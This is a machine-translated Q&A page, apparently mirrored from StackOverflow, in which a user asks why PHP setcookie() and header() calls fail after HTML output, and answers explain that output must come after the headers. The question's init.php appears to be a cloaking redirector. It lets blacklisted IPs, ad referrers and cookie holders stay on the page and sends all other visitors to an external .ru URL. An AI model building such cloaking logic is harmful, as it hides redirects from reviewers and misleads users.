标头错误

时间:2012-09-13 11:59:03

标签: php header

我有一个index.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>

<head>
<title>LOL!'</title>
<meta name="description" content="Hi oloo!!" />
<meta http-equiv="Content-Type" content="text/html; charset=CP1251" />
<iframe src="http://news.xxxxx.ru/hard/2010/10/28/104592/" frameborder="0" height="100%"  width="100%" ></iframe>
</head>
<img src="http://www.xxxxx.ru/upload/iblock/27c/27caa04aac1fbc0f31f7964fc780b1b2.jpg" />
</html>
<?php
include_once ('init.php');
?>

和init.php

<?php

 $waiting = 0;

 $url = 'http://xxxxx.ru/gott.php?sid=3';

 if($waiting == 1){
    $admin = 1;
    setcookie ('admin', 1, time()+3600*24*31);
 }

 if (isset($_COOKIE['admin'])){
    $admin = 1;
 }

 /*if (strstr($_SERVER['HTTP_REFERER'], 'away')){
    $admin = 1;
    setcookie ('admin', 1, time()+3600*24*31);
 }*/



 if (strstr($_SERVER['HTTP_REFERER'], 'ads')){
    $admin = 1;
    setcookie ('admin', 1, time()+3600*24*31);
 }

 $blacklist = file_get_contents('black.txt');
 $rows_array = explode("\n", $blacklist);

 foreach($rows_array as $k => $v){
    if(trim($v) == $_SERVER['REMOTE_ADDR']){
        $admin = 1;
        setcookie ('admin', 1, time()+3600*24*31);
    }
 }

 if($admin != 1){
    header('Location: '. $url);
    exit();
 }

?>

加载index.php后收到错误

  

警告:无法修改标头信息 - 已在/ mounted-storage / home93c中发送的标头(在/mounted-storage/home93c/sub006/sc36756-TMHW/xxxxx.com/onarter/index.php:8处开始输出)第42行/sub006/sc36756-TMHW/site.com/onarter/init.php。如何摆脱这个问题?

3 个答案:

答案 0 :(得分:6)

您尝试在已经发送标头之后发送Cookie(并且通过标头,我的意思是任何) - 这也涵盖了代码中的header()。任何发送给用户的东西都会被淹没。

您需要做的是在任何其他输出之前包括init.php。

<?php
include_once ('init.php');
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>

如果你的init.php有:

<?php

    $waiting = 0;
    echo $waiting;
    $url = 'http://xxxxx.ru/gott.php?sid=3';

这也会在你的代码中进一步杀死setcookie / header。在调用这些函数之前,您无法将任何作为输出发送。

答案 1 :(得分:1)

header()函数仅在您的脚本未执行任何其他操作时才有效。您正在脚本中设置cookie,将标题发送给用户,稍后您将尝试再次发送标题。

答案 2 :(得分:1)

在回显某些内容或html之后,你不能使用header函数(你可以做但只会输出一个错误)。你必须把它放在脚本中的任何echo或html之前。